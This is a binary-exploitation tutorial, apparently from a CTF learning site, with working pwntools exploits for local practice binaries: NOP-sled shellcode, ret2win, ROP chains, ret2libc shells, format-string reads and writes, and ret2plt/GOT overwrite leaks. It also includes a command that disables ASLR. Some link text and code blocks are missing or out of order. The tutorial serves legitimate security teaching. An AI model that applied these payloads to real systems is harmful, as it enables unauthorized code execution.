NOP (no operation) instructions do exactly what they sound like: nothing. Which makes then very useful for shellcode exploits, because all they will do is run the next instruction. If we pad our exploits on the left with NOPs and point EIP at the middle of them, it'll simply keep doing no instructions until it reaches our actual shellcode. This allows us a greater margin of error as a shift of a few bytes forward or backwards won't really affect it, it'll just run a different number of NOP instructions - which have the same end result of running the shellcode. This padding with NOPs is often called a NOP slide or NOP sled, since the EIP is essentially sliding down them.
In intel x86 assembly, NOP instructions are \x90.
The NOP instruction actually used to stand for XCHG EAX, EAX, which does effectively nothing. You can read a bit more about it .
Updating our Shellcode Exploit
We can make slight changes to our exploit to do two things:
Add a large number of NOPs on the left
Adjust our return pointer to point at the middle of the NOPs rather than the buffer start
Make sure ASLR is still disabled. If you have to disable it again, you may have to readjust your previous exploit as the buffer location my be different.
It's probably worth mentioning that shellcode with NOPs is not failsafe; if you receive unexpected errors padding with NOPs but the shellcode worked before, try reducing the length of the nopsled as it may be tampering with other things on the stack
Note that NOPs are only \x90 in certain architectures, and if you need others you can use pwntools:
from pwn import *
context.binary = ELF('./vuln')
p = process()
payload = b'\x90' * 240 # The NOPs
payload += asm(shellcraft.sh()) # The shellcode
payload = payload.ljust(312, b'A') # Padding
payload += p32(0xffffcfb4 + 120) # Address of the buffer + half nop length
log.info(p.clean())
p.sendline(payload)
p.interactive()
nop = asm(shellcraft.nop())
ret2win
The most basic binexp challenge
A ret2win is simply a binary where there is a win() function (or equivalent); once you successfully redirect execution there, you complete the challenge.
To carry this out, we have to leverage what we learnt in the introduction, but in a predictable manner - we have to overwrite EIP, but to a specific value of our choice.
To do this, what do we need to know? Well, a couple things:
The padding until we begin to overwrite the return pointer (EIP)
What value we want to overwrite EIP to
When I say "overwrite EIP", I mean overwrite the saved return pointer that gets popped into EIP. The EIP register is not located on the stack, so it is not overwritten directly.
Finding the Padding
This can be found using simple trial and error; if we send a variable numbers of characters, we can use the Segmentation Fault message, in combination with radare2, to tell when we overwrote EIP. There is a better way to do it than simple brute force (we'll cover this in the next post), but it'll do for now.
You may get a segmentation fault for reasons other than overwriting EIP; use a debugger to make sure the padding is correct.
We get an offset of 52 bytes.
Finding the Address
Now we need to find the address of the flag() function in the binary. This is simple.
afl stands for Analyse Functions List
The flag() function is at 0x080491c3.
Using the Information
The final piece of the puzzle is to work out how we can send the address we want. If you think back to the introduction, the As that we sent became 0x41 - which is the ASCII code of A. So the solution is simple - let's just find the characters with ascii codes 0x08, 0x04, 0x91 and 0xc3.
This is a lot simpler than you might think, because we can specify them in python as hex:
And that makes it much easier.
Putting it Together
Now we know the padding and the value, let's exploit the binary! We can use to interface with the binary (check out the for a more in-depth look).
If you run this, there is one small problem: it won't work. Why? Let's check with a debugger. We'll put in a pause() to give us time to attach radare2 onto the process.
Now let's run the script with python3 exploit.py and then open up a new terminal window.
By providing the PID of the process, radare2 hooks onto it. Let's break at the return of unsafe() and read the value of the return pointer.
0xc3910408 - look familiar? It's the address we were trying to send over, except the bytes have been reversed, and the reason for this reversal is . Big-endian systems store the most significant byte (the byte with the largest value) at the smallest memory address, and this is how we sent them. Little-endian does the opposite (), and most binaries you will come across are little-endian. As far as we're concerned, the byte are stored in reverse order in little-endian executables.
Finding the Endianness
radare2 comes with a nice tool called rabin2 for binary analysis:
So our binary is little-endian.
Accounting for Endianness
The fix is simple - reverse the address (you can also remove the pause())
If you run this now, it will work:
And wham, you've called the flag() function! Congrats!
Pwntools and Endianness
Unsurprisingly, you're not the first person to have thought "could they possibly make endianness simpler" - luckily, pwntools has a built-in p32() function ready for use!
becomes
Much simpler, right?
The only caveat is that it returns bytes rather than a string, so you have to make the padding a byte string:
Otherwise you will get a
Final Exploit
No eXecute
The defence against shellcode
As you can expect, programmers were hardly pleased that people could inject their own instructions into the program. The NX bit, which stands for No eXecute, defines areas of memory as either instructions or data. This means that your input will be stored as data, and any attempt to run it as instructions will crash the program, effectively neutralising shellcode.
To get around NX, exploit developers have to leverage a technique called ROP, Return-Oriented Programming.
The Windows version of NX is DEP, which stands for Data E
Return-Oriented Programming
Bypassing NX
The basis of ROP is chaining together small chunks of code already present within the binary itself in such a way to do what you wish. This often involves passing parameters to functions already present within libc, such as system - if you can find the location of a command, such as cat flag.txt, and then pass it as a parameter to system, it will execute that command and return the output. A more dangerous command is /bin/sh, which when run by system gives the attacker a shell much like the shellcode we used did.
Doing this, however, is not as simple as it may seem at first. To be able to properly call functions, we first have to understand how to pass parameters to them.
32- vs 64-bit
The differences between the sizes
Everything we have done so far is applicable to 64-bit as well as 32-bit; the only thing you would need to change is switch out the p32() for p64() as the memory addresses are longer.
The real difference between the two, however, is the way you pass parameters to functions (which we'll be looking at much closer soon); in 32-bit, all parameters are pushed to the stack before the function is called. In 64-bit, however, the first 6 are stored in the registers RDI, RSI, RDX, RCX, R8 and R9 respectively as per the . Note that different Operating Systems also have different calling conventions.
Calling Conventions
A more in-depth look into parameters for 32-bit and 64-bit programs
$ checksec vuln
[*] 'vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
$ rabin2 -I vuln
[...]
nx false
[...]
Let's have a quick look at the source:
Pretty simple.
If we run the 32-bit and 64-bit versions, we get the same output:
Just what we expected.
Analysing 32-bit
Let's open the binary up in radare2 and disassemble it.
If we look closely at the calls to sym.vuln, we see a pattern:
We literally push the parameter to the stack before calling the function. Let's break on sym.vuln.
The first value there is the return pointer that we talked about before - the second, however, is the parameter. This makes sense because the return pointer gets pushed during the call, so it should be at the top of the stack. Now let's disassemble sym.vuln.
Here I'm showing the full output of the command because a lot of it is relevant. radare2 does a great job of detecting local variables - as you can see at the top, there is one called arg_8h. Later this same one is compared to 0xdeadbeef:
Clearly that's our parameter.
So now we know, when there's one parameter, it gets pushed to the stack so that the stack looks like:
Analysing 64-bit
Let's disassemble main again here.
Hohoho, it's different. As we mentioned before, the parameter gets moved to rdi (in the disassembly here it's edi, but edi is just the lower 32 bits of rdi, and the parameter is only 32 bits long, so it says EDI instead). If we break on sym.vuln again we can check rdi with the command
Just dr will display all registers
Awesome.
Registers are used for parameters, but the return address is still pushed onto the stack and in ROP is placed right after the function address
Multiple Parameters
Source
32-bit
We've seen the full disassembly of an almost identical binary, so I'll only isolate the important parts.
It's just as simple - push them in reverse order of how they're passed in. The reverse order becomes helpful when you db sym.vuln and print out the stack.
So it becomes quite clear how more parameters are placed on the stack:
64-bit
So as well as rdi, we also push to rdx and rsi (or, in this case, their lower 32 bits).
Bigger 64-bit values
Just to show that it is in fact ultimately rdi and not edi that is used, I will alter the original one-parameter code to utilise a bigger number:
If you disassemble main, you can see it disassembles to
movabs can be used to encode the mov instruction for 64-bit instructions - treat it as if it's a mov.
from pwn import * # This is how we import pwntools
p = process('./vuln') # We're starting a new process
payload = 'A' * 52
payload += '\x08\x04\x91\xc3'
p.clean() # Receive all the text
p.sendline(payload)
log.info(p.clean()) # Output the "Exploited!" string to know we succeeded
from pwn import *
p = process('./vuln')
payload = b'A' * 52
payload += '\x08\x04\x91\xc3'
log.info(p.clean())
pause() # add this in
p.sendline(payload)
log.info(p.clean())
r2 -d -A $(pidof vuln)
[0x08049172]> db 0x080491aa
[0x08049172]> dc
<< press any button on the exploit terminal window >>
hit breakpoint at: 80491aa
[0x080491aa]> pxw @ esp
0xffdb0f7c 0xc3910408 [...]
[...]
$ rabin2 -I vuln
[...]
endian little
[...]
payload += '\x08\x04\x91\xc3'[::-1]
$ python3 tutorial.py
[+] Starting local process './vuln': pid 2290
[*] Overflow me
[*] Exploited!!!!!
payload += '\x08\x04\x91\xc3'[::-1]
payload += p32(0x080491c3)
payload = b'A' * 52 # Notice the "b"
TypeError: can only concatenate str (not "bytes") to str
from pwn import * # This is how we import pwntools
p = process('./vuln') # We're starting a new process
payload = b'A' * 52
payload += p32(0x080491c3) # Use pwntools to pack it
log.info(p.clean()) # Receive all the text
p.sendline(payload)
log.info(p.clean()) # Output the "Exploited!" string to know we succeeded
Gadgets are small snippets of code followed by a ret instruction, e.g. pop rdi; ret. We can manipulate the ret of these gadgets in such a way as to string together a large chain of them to do what we want.
Example
Let's for a minute pretend the stack looks like this during the execution of a pop rdi; ret gadget.
What happens is fairly obvious - 0x10 gets popped into rdi as it is at the top of the stack during the pop rdi. Once the pop occurs, rsp moves:
And since ret is equivalent to pop rip, 0x5655576724 gets moved into rip. Note how the stack is laid out for this.
Utilising Gadgets
When we overwrite the return pointer, we overwrite the value pointed at by rsp. Once that value is popped, it points at the next value at the stack - but wait. We can overwrite the next value in the stack.
Let's say that we want to exploit a binary to jump to a pop rdi; ret gadget, pop 0x100 into rdi then jump to flag(). Let's step-by-step the execution.
On the originalret, which we overwrite the return pointer for, we pop the gadget address in. Now rip moves to point to the gadget, and rsp moves to the next memory address.
rsp moves to the 0x100; rip to the pop rdi. Now when we pop, 0x100 gets moved into rdi.
RSP moves onto the next items on the stack, the address of flag(). The ret is executed and flag() is called.
Summary
Essentially, if the gadget pops values from the stack, simply place those values afterwards (including the pop rip in ret). If we want to pop 0x10 into rdi and then jump to 0x16, our payload would look like this:
Note if you have multiple pop instructions, you can just add more values.
We use rdi as an example because, if you remember, that's the register for the first parameter in 64-bit. This means control of this register using this gadget is important.
Finding Gadgets
We can use the tool to find possible gadgets.
Combine it with grep to look for specific registers.
The program expects the stack to be laid out like this before executing the function:
So why don't we provide it like that? As well as the function, we also pass the return address and the parameters.
Everything after the address of flag() will be part of the stack frame for the next function as it is expected to be there - just instead of using push instructions we just overwrote them manually.
64-bit
Same logic, except we have to utilise the gadgets we talked about previously to fill the required registers (in this case rdi and rsi as we have two parameters).
We have to fill the registers before the function is called
Stack Alignment
A minor issue
A small issue you may get when pwning on 64-bit systems is that your exploit works perfectly locally but fails remotely - or even fails when you try to use the provided LIBC version rather than your local one. This arises due to something called stack alignment.
Essentially the . LIBC takes advantage of this and uses to optimise execution; system in particular utilises instructions such as movaps.
That means that if the stack is not 16-byte aligned - that is, RSP is not a multiple of 16 - the ROP chain will fail on system.
The fix is simple - in your ROP chain, before the call to
Pwntools, PIE and ROP
As shown in the pwntools ELF tutorial, pwntools has a host of functionality that allows you to really make your exploit dynamic. Simply setting elf.address will automatically update all the function and symbols addresses for you, meaning you don't have to worry about using readelf or other command line tools, but instead can receive it all dynamically.
Not to mention that the ROP capabilities are incredibly powerful as well.
PIE
Position Independent Code
Overview
PIE stands for Position Independent Executable, which means that every time you run the file it gets loaded into a different memory address. This means you cannot hardcode values such as function addresses and gadget locations without finding out where they are.
Analysis
Luckily, this does not mean it's impossible to exploit. PIE executables are based around relative rather than absolute addresses, meaning that while the locations in memory are fairly random the offsets between different parts of the binary remain constant. For example, if you know that the function main is located 0x128 bytes in memory after the base address of the binary, and you somehow find the location of main, you can simply subtract 0x128 from this to get the base address and from the addresses of everything else.
Exploitation
So, all we need to do is find a single address and PIE is bypassed. Where could we leak this address from?
The stack of course!
We know that the return pointer is located on the stack - and much like a canary, we can use format string (or other ways) to read the value off the stack. The value will always be a static offset away from the binary base, enabling us to completely bypass PIE!
Double-Checking
Due to the way PIE randomisation works, the base address of a PIE executable will always end in the hexadecimal characters 000. This is because pages are the things being randomised in memory, which have a standard size of 0x1000. Operating Systems keep track of page tables which point to each section of memory and define the permissions for each section, similar to segmentation.
Checking the base address ends in 000 should probably be the first thing you do if your exploit is not working as you expected.
system
, place a singular
ret
gadget:
This works because it will cause RSP to be popped an additional time, pushing it forward by 8 bytes and aligning it.
A ret2libc is based off the system function found within the C library. This function executes anything passed to it making it the best target. Another thing found within libc is the string /bin/sh; if you pass this string to system, it will pop a shell.
And that is the entire basis of it - passing /bin/sh as a parameter to system. Doesn't sound too bad, right?
To start with, we are going to disable ASLR. ASLR randomises the location of libc in memory, meaning we cannot (without other steps) work out the location of system and /bin/sh. To understand the general theory, we will start with it disabled.
Manual Exploitation
Getting Libc and its base
Fortunately Linux has a command called ldd for dynamic linking. If we run it on our compiled ELF file, it'll tell us the libraries it uses and their base addresses.
We need libc.so.6, so the base address of libc is 0xf7dc2000.
Libc base and the system and /bin/sh offsets may be different for you. This isn't a problem - it just means you have a different libc version. Make sure you use your values.
Getting the location of system()
To call system, we obviously need its location in memory. We can use the readelf command for this.
The -s flag tells readelf to search for symbols, for example functions. Here we can find the offset of system from libc base is 0x44f00.
Getting the location of /bin/sh
Since /bin/sh is just a string, we can use strings on the dynamic library we just found with ldd. Note that when passing strings as parameters you need to pass a pointer to the string, not the hex representation of the string, because that's how C expects it.
-a tells it to scan the entire file; -t x tells it to output the offset in hex.
32-bit Exploit
64-bit Exploit
Repeat the process with the libc linked to the 64-bit exploit (should be called something like /lib/x86_64-linux-gnu/libc.so.6).
Note that instead of passing the parameter in after the return pointer, you will have to use a pop rdi; ret gadget to put it into the RDI register.
Automating with Pwntools
Unsurprisingly, pwntools has a bunch of features that make this much simpler.
The 64-bit looks essentially the same.
Pwntools can simplify it even more with its ROP capabilities, but I won't showcase them here.
$ ROPgadget --binary vuln-64
Gadgets information
============================================================
0x0000000000401069 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x000000000040109b : add bh, bh ; loopne 0x40110a ; nop ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401024
[...]
$ ROPgadget --binary vuln-64 | grep rdi
0x0000000000401096 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x00000000004011db : pop rdi ; ret
from pwn import *
p = process('./vuln-32')
payload = b'A' * 52 # Padding up to EIP
payload += p32(0x080491c7) # Address of flag()
payload += p32(0x0) # Return address - don't care if crashes when done
payload += p32(0xdeadc0de) # First parameter
payload += p32(0xc0ded00d) # Second parameter
log.info(p.clean())
p.sendline(payload)
log.info(p.clean())
from pwn import *
p = process('./vuln-64')
POP_RDI, POP_RSI_R15 = 0x4011fb, 0x4011f9
payload = b'A' * 56 # Padding
payload += p64(POP_RDI) # pop rdi; ret
payload += p64(0xdeadc0de) # value into rdi -> first param
payload += p64(POP_RSI_R15) # pop rsi; pop r15; ret
payload += p64(0xc0ded00d) # value into rsi -> first param
payload += p64(0x0) # value into r15 -> not important
payload += p64(0x40116f) # Address of flag()
payload += p64(0x0)
log.info(p.clean())
p.sendline(payload)
log.info(p.clean())
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
$ strings -a -t x /lib32/libc.so.6 | grep /bin/sh
18c32b /bin/sh
from pwn import *
p = process('./vuln-32')
libc_base = 0xf7dc2000
system = libc_base + 0x44f00
binsh = libc_base + 0x18c32b
payload = b'A' * 76 # The padding
payload += p32(system) # Location of system
payload += p32(0x0) # return pointer - not important once we get the shell
payload += p32(binsh) # pointer to command: /bin/sh
p.clean()
p.sendline(payload)
p.interactive()
$ ROPgadget --binary vuln-64 | grep rdi
[...]
0x00000000004011cb : pop rdi ; ret
from pwn import *
p = process('./vuln-64')
libc_base = 0x7ffff7de5000
system = libc_base + 0x48e20
binsh = libc_base + 0x18a143
POP_RDI = 0x4011cb
payload = b'A' * 72 # The padding
payload += p64(POP_RDI) # gadget -> pop rdi; ret
payload += p64(binsh) # pointer to command: /bin/sh
payload += p64(system) # Location of system
payload += p64(0x0) # return pointer - not important once we get the shell
p.clean()
p.sendline(payload)
p.interactive()
# 32-bit
from pwn import *
elf = context.binary = ELF('./vuln-32')
p = process()
libc = elf.libc # Simply grab the libc it's running with
libc.address = 0xf7dc2000 # Set base address
system = libc.sym['system'] # Grab location of system
binsh = next(libc.search(b'/bin/sh')) # grab string location
payload = b'A' * 76 # The padding
payload += p32(system) # Location of system
payload += p32(0x0) # return pointer - not important once we get the shell
payload += p32(binsh) # pointer to command: /bin/sh
p.clean()
p.sendline(payload)
p.interactive()
Just as we did for PIE, except this time we print the address of system.
Analysis
Yup, does what we expected.
Your address of system might end in different characters - you just have a different libc version
Exploitation
Much of this is as we did with PIE.
Note that we include the libc here - this is just another ELF object that makes our lives easier.
Parse the address of system and calculate libc base from that (as we did with PIE):
Now we can finally ret2libc, using the libcELF object to really simplify it for us:
Final Exploit
64-bit
Try it yourself :)
Using pwntools
If you prefer, you could have changed the following payload to be more pwntoolsy:
Instead, you could do:
The benefit of this is it's (arguably) more readable, but also makes it much easier to reuse in 64-bit exploits as all the parameters are automatically resolved for you.
Unlike last time, we don't get given a function. We'll have to leak it with format strings.
Analysis
Everything's as we expect.
Exploitation
Setup
As last time, first we set everything up.
PIE Leak
Now we just need a leak. Let's try a few offsets.
3rd one looks like a binary address, let's check the difference between the 3rd leak and the base address in radare2. Set a breakpoint somewhere after the format string leak (doesn't really matter where).
We can see the base address is 0x565ef000 and the leaked value is 0x565f01d5. Therefore, subtracting 0x1d5 from the leaked address should give us the binary. Let's leak the value and get the base address.
Now we just need to send the exploit payload.
Final Exploit
64-bit
Same deal, just 64-bit. Try it out :)
ASLR
Address Space Layout Randomisation
Overview
ASLR stands for Address Space Layout Randomisation and can, in most cases, be thought of as libc's equivalent of PIE - every time you run a binary, libc (and other libraries) get loaded into a different memory address.
While it's tempting to think of ASLR as libc PIE, there is a key difference.
ASLR is a kernel protection while PIE is a binary protection. The main difference is that PIE can be compiled into the binary while the presence of ASLR is completely dependant on the environment running the binary. If I sent you a binary compiled with ASLR disabled while I did it, it wouldn't make any different at all if you had ASLR enabled.
Of course, as with PIE, this means you cannot hardcode values such as function address (e.g. system for a ret2libc).
The Format String Trap
It's tempting to think that, as with PIE, we can simply format string for a libc address and subtract a static offset from it. Sadly, we can't quite do that.
When functions finish execution, they do not get removed from memory; instead, they just get ignored and overwritten. Chances are very high that you will grab one of these remnants with the format string. Different libc versions can act very differently during execution, so a value you just grabbed may not even exist remotely, and if it does the offset will most likely be different (different libcs have different sizes and therefore different offsets between functions). It's possible to get lucky, but you shouldn't really hope that the offsets remain the same.
Instead, a more reliable way is reading the .
Double-Checking
For the same reason as PIE, libc base addresses always end in the hexadecimal characters 000.
Format String Bug
Reading memory off the stack
Format String is a dangerous bug that is easily exploitable. If manipulated correctly, you can leverage it to perform powerful actions such as reading from and writing to arbitrary memory locations.
Why it exists
In C, certain functions can take "format specifier" within strings. Let's look at an example:
This prints out:
So, it replaced %d with the value, %f with the float value and %x with the hex representation.
This is a nice way in C of formatting strings (string concatenation is quite complicated in C). Let's try print out the same value in hex 3 times:
As expected, we get
What happens, however, if we don't have enough arguments for all the format specifiers?
Erm... what happened here?
The key here is that printf expects as many parameters as format string specifiers, and in 32-bit it grabs these parameters from the stack. If there aren't enough parameters on the stack, it'll just grab the next values - essentially leaking values off the stack. And that's what makes it so dangerous.
How to abuse this
Surely if it's a bug in the code, the attacker can't do much, right? Well the real issue is when C code takes user-provided input and prints it out using printf.
If we run this normally, it works at expected:
But what happens if we input format string specifieres, such as %x?
It reads values off the stack and returns them as the developer wasn't expecting so many format string specifiers.
Choosing Offsets
To print the same value 3 times, using
Gets tedious - so, there is a better way in C.
The 1$ between tells printf to use the first parameter. However, this also means that attackers can read values an arbitrary offset from the top of the stack - say we know there is a canary at the 6th %p - instead of sending %p %p %p %p %p %p we can just do %6$p. This allows us to be much more efficient.
Arbitrary Reads
In C, when you want to use a string you use a pointer to the start of the string - this is essentially a value that represents a memory address. So when you use the %s format specifier, it's the pointer that gets passed to it. That means instead of reading a value of the stack, you read the value in the memory address it points at.
Now this is all very interesting - if you can find a value on the stack that happens to correspond to where you want to read, that is. But what if we could specify where we want to read? Well... we can.
Let's look back at the previous program and its output:
You may notice that the last two values contain the hex values of %x . That's because we're reading the buffer. Here it's at the 4th offset - if we can write an address then point %s at it, we can get an arbitrary write!
%p is a pointer; generally, it returns the same as %x just precedes it with a 0x which makes it stand out more
As we can see, we're reading the value we inputted. Let's write a quick pwntools script that write the location of the ELF file and reads it with %s - if all goes well, it should read the first bytes of the file, which is always \x7fELF. Start with the basics:
Nice it works. The base address of the binary is 0x8048000, so let's replace the 0x41424344 with that and read it with %s:
It doesn't work.
The reason it doesn't work is that printf stops at null bytes, and the very first character is a null byte. We have to put the format specifier first.
Let's break down the payload:
We add 4 | because we want the address we write to fill one memory address, not half of one and half another, because that will result in reading the wrong address
The offset is %8$p because the start of the buffer is generally at %6$p. However, memory addresses are 4 bytes long each and we already have 8 bytes, so it's two memory addresses further along at %8$p.
It still stops at the null byte, but that's not important because we get the output; the address is still written to memory, just not printed back.
Now let's replace the p with an s.
Of course, %s will also stop at a null byte as strings in C are terminated with them. We have worked out, however, that the first bytes of an ELF file up to a null byte are \x7fELF\x01\x01\x01.
Arbitrary Writes
Luckily C contains a rarely-used format specifier %n. This specifier takes in a pointer (memory address) and writes there the number of characters written so far. If we can control the input, we can control how many characters are written an also where we write them.
Obviously, there is a small flaw - to write, say, 0x8048000 to a memory address, we would have to write that many characters - and generally buffers aren't quite that big. Luckily there are other format string specifiers for that. I fully recommend you watch to completely understand it, but let's jump into a basic binary.
Simple - we need to overwrite the variable auth with the value 10. Format string vulnerability is obvious, but there's also no buffer overflow due to a secure fgets.
Work out the location of auth
As it's a global variable, it's within the binary itself. We can check the location using readelf to check for symbols.
Location of auth is 0x0804c028.
Writing the Exploit
We're lucky there's no null bytes, so there's no need to change the order.
Buffer is the 7th %p.
And easy peasy:
Pwntools
As you can expect, pwntools has a handy feature for automating %n format string exploits:
The offset in this case is 7 because the 7th %p read the buffer; the location is where you want to write it and the value is what. Note that you can add as many location-value pairs into the dictionary as you want.
You can also grab the location of the auth symbol with pwntools:
Check out the pwntools tutorials for more cool features
You may remember that the GOT stores the actual locations in libc of functions. Well, if we could overwrite an entry, we could gain code execution that way. Imagine the following code:
char buffer[20];
gets(buffer);
printf(buffer);
Not only is there a buffer overflow and format string vulnerability here, but say we used that format string to overwrite the GOT entry of printf with the location of system. The code would essentially look like the following:
char buffer[20];
gets(buffer);
system(buffer);
Bit of an issue? Yes. Our input is being passed directly to system.
$ ./vuln-32
System is at: 0xf7de5f00
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
$ ./vuln-32
What's your name?
%p
Nice to meet you 0xf7f6d080
What's your message?
hello
from pwn import *
elf = context.binary = ELF('./vuln-32')
p = process()
$ ./vuln-32
What's your name?
%p %p %p %p %p
Nice to meet you 0xf7eee080 (nil) 0x565d31d5 0xf7eb13fc 0x1
$ r2 -d -A vuln-32
Process with PID 5548 started...
= attach 5548 5548
bin.baddr 0x565ef000
0x565f01c9]> db 0x565f0234
[0x565f01c9]> dc
What's your name?
%3$p
Nice to meet you 0x565f01d5
p.recvuntil('name?\n')
p.sendline('%3$p')
p.recvuntil('you ')
elf_leak = int(p.recvline(), 16)
elf.address = elf_leak - 0x11d5
log.success(f'PIE base: {hex(elf.address)}') # not required, but a nice check
from pwn import *
AUTH = 0x804c028
p = process('./auth')
payload = p32(AUTH)
payload += b'|' * 6 # We need to write the value 10, AUTH is 4 bytes, so we need 6 more for %n
payload += b'%7$n'
print(p.clean().decode('latin-1'))
p.sendline(payload)
print(p.clean().decode('latin-1'))
[+] Starting local process './auth': pid 4045
Password:
[*] Process './auth' stopped with exit code 0 (pid 4045)
(À\x04||||||
Auth is 10
Authenticated!
The PLT and GOT are sections within an ELF file that deal with a large portion of the dynamic linking. Dynamically linked binaries are more common than statically linked binary in CTFs. The purpose of dynamic linking is that binaries do not have to carry all the code necessary to run within them - this reduces their size substantially. Instead, they rely on system libraries (especially libc, the C standard library) to provide the bulk of the functionality.
For example, each ELF file will not carry their own version of puts compiled within it - it will instead dynamically link to the puts of the system it is on. As well as smaller binary sizes, this also means the user can continually upgrade their libraries, instead of having to redownload all the binaries every time a new version comes out.
So when it's on a new system, it replaces function calls with hardcoded addresses?
Not quite.
The problem with this approach is it requires libc to have a constant base address, i.e. be loaded in the same area of memory every time it's run, but remember that exists. Hence the need for dynamic linking. Due to the way ASLR works, these addresses need to be resolved every time the binary is run. Enter the PLT and GOT.
The PLT and GOT
The PLT (Procedure Linkage Table) and GOT (Global Offset Table) work together to perform the linking.
When you call puts() in C and compile it as an ELF executable, it is not actuallyputs() - instead, it gets compiled as puts@plt. Check it out in GDB:
Why does it do that?
Well, as we said, it doesn't know where puts actually is - so it jumps to the PLT entry of puts instead. From here, puts@plt does some very specific things:
If there is a GOT entry for puts, it jumps to the address stored there.
If there isn't a GOT entry, it will resolve it and jump there.
The GOT is a massive table of addresses; these addresses are the actual locations in memory of the libc functions. puts@got, for example, will contain the address of puts in memory. When the PLT gets called, it reads the GOT address and redirects execution there. If the address is empty, it coordinates with the ld.so (also called the dynamic linker/loader) to get the function address and stores it in the GOT. This is done by calling _dl_runtime_resolve (this is explained in more detail in the section).
How is this useful for binary exploitation?
Well, there are two key takeaways from the above explanation:
Calling the PLT address of a function is equivalent to calling the function itself
The GOT address contains addresses of functions in libc, and the GOT is within the binary.
The use of the first point is clear - if we have a PLT entry for a desirable libc function, for example system, we can just redirect execution to its PLT entry and it will be the equivalent of calling system directly; no need to jump into libc.
The second point is less obvious, but debatably even more important. As the GOT is part of the binary, it will always be a constant offset away from the base. Therefore, if PIE is disabled or you somehow leak the binary base, you know the exact address that contains a libc function's address. If you perhaps have an arbitrary read, it's trivial to leak the real address of the libc function and therefore bypass ASLR.
Exploiting an Arbitrary Read
There are two main ways that one can exploit an arbitrary read for a stack exploit. Note that these approaches will cause not only the GOT entry to be return but everything else until a null byte is reached as well, due to strings in C being null-terminated; make sure you only take the required number of bytes.
ret2plt
A ret2plt is a common technique that involves calling puts@plt and passing the GOT entry of puts as a parameter. This causes puts to print out its own address in libc. You then set the return address to the function you are exploiting in order to call it again and enable you to
flat() packs all the values you give it with p32() and p64() (depending on context) and concatenates them, meaning you don't have to write the packing functions out all the time
%s format string
This has the same general theory but is useful when you have limited stack space or a ROP chain would alter the stack in such a way to complicate future payloads, for example when stack pivoting.
Summary
The PLT and GOT do the bulk of static linking
The PLT resolves actual locations in libc of functions you use and stores them in the GOT
Next time that function is called, it reads the address in GOT entry and calls it
ret2plt ASLR bypass
Overview
This time around, there's no leak. You'll have to use the ret2plt technique explained previously. Feel free to have a go before looking further on.
We're going to have to leak ASLR base somehow, and the only logical way is a ret2plt. We're not struggling for space as gets() takes in as much data as we want.
Exploitation
All the basic setup
Now we want to send a payload that leaks the real address of puts. As mentioned before, calling the PLT entry of a function is the same as calling the function itself; if we point the parameter to the GOT entry, it'll print out it's actual location. This is because in C string arguments for functions actually take a pointer to where the string can be found, so pointing it to the GOT entry (which we know the location of) will print it out.
But why is there a main there? Well, if we set the return address to random jargon, we'll leak libc base but then it'll crash; if we call main again, however, we essentially restart the binary - except we now know libc base so this time around we can do a ret2libc.
Remember that the GOT entry won't be the only thing printed - puts, and most functions in C, print until a null byte. This means it will keep on printing GOT addresses, but the only one we care about is the first one, so we grab the first 4 bytes and use u32() to interpret them as a little-endian number. After that we ignore the the rest of the values as well as the Come get me from calling main again.
From here, we simply calculate libc base again and perform a basic ret2libc:
And bingo, we have a shell!
Final Exploit
64-bit
You know the drill - try the same thing for 64-bit. If you want, you can use pwntools' ROP capabilities - or, to make sure you understand calling conventions, be daring and do both :P
The very simplest of possible GOT-overwrite binaries.
Infinite loop which takes in your input and prints it out to you using printf - no buffer overflow, just format string. Let's assume ASLR is disabled - have a go yourself :)
Exploitation
As per usual, set it all up
Now, to do the %n overwrite, we need to find the offset until we start reading the buffer.
Looks like it's the 5th.
Yes it is!
Now, next time printf gets called on your input it'll actually be system!
If the buffer is restrictive, you can always send /bin/sh to get you into a shell and run longer commands.
Final Exploit
64-bit
You'll never guess. That's right! You can do this one by yourself.
ASLR Enabled
If you want an additional challenge, re-enable ASLR and do the 32-bit and 64-bit exploits again; you'll have to leverage what we've covered previously.
Pretty simple - we print the address of main, which we can read and calculate the base address from. Then, using this, we can calculate the address of win() itself.
Analysis
Let's just run the script to make sure it's the right one :D
Yup, and as we expected, it prints the location of main.
Exploitation
First, let's set up the script. We create an ELF object, which becomes very useful later on, and start the process.
Now we want to take in the main function location. To do this we can simply receive up until it (and do nothing with that) and then read it.
Since we received the entire line except for the address, only the address will come up with p.recvline().
Now we'll use the ELF object we created earlier and set its base address. The sym dictionary returns the offsets of the functions from binary base until the base address is set, after which it returns the absolute address in memory.
In this case, elf.sym['main'] will return 0x11b9; if we ran it again, it would return 0x11b9 + the base address. So, essentially, we're subtracting the offset of main from the address we leaked to get the base of the binary.
Now we know the base we can just call win().
By this point, I assume you know how to find the padding length and other stuff we've been mentioning for a while, so I won't be showing you every step of that.
And does it work?
Awesome!
Final Exploit
Summary
From the leak address of main, we were able to calculate the base address of the binary. From this we could then calculate the address of win and call it.
And one thing I would like to point out is how simple this exploit is. Look - it's 10 lines of code, at least half of which is scaffolding and setup.
64-bit
Try this for yourself first, then feel free to check the solution. Same source, same challenge.
Now we're going to do something interesting - we are going to call gets again. Most importantly, we will tell gets to write the data it receives to a section of the binary. We need somewhere both readable and writeable, so I choose the GOT. We pass a GOT entry to gets, and when it receives the shellcode we send it will write the shellcode into the GOT. Now we know exactly where the shellcode is. To top it all off, we set the return address of our call to gets to where we wrote the shellcode, perfectly executing what we just inputted.
Final Exploit
64-bit
I wonder what you could do with this.
ASLR
No need to worry about ASLR! Neither the stack nor libc is used, save for the ROP.
The real problem would be if PIE was enabled, as then you couldn't call gets as the location of the PLT would be unknown without a leak - same problem with writing to the GOT.
Potential Problems
Thank to and from the HackTheBox Discord server, I found out that the GOT often has Executable permissions simply because that's the default permissions when there's no NX. If you have a more recent kernel, such as 5.9.0, the default is changed and the GOT will not have X permissions.
As such, if your exploit is failing, run uname -r to grab the kernel version and check if it's 5.9.0; if it is, you'll have to find another RWX region to place your shellcode (if it exists!).
ret2reg
Using Registers to bypass ASLR
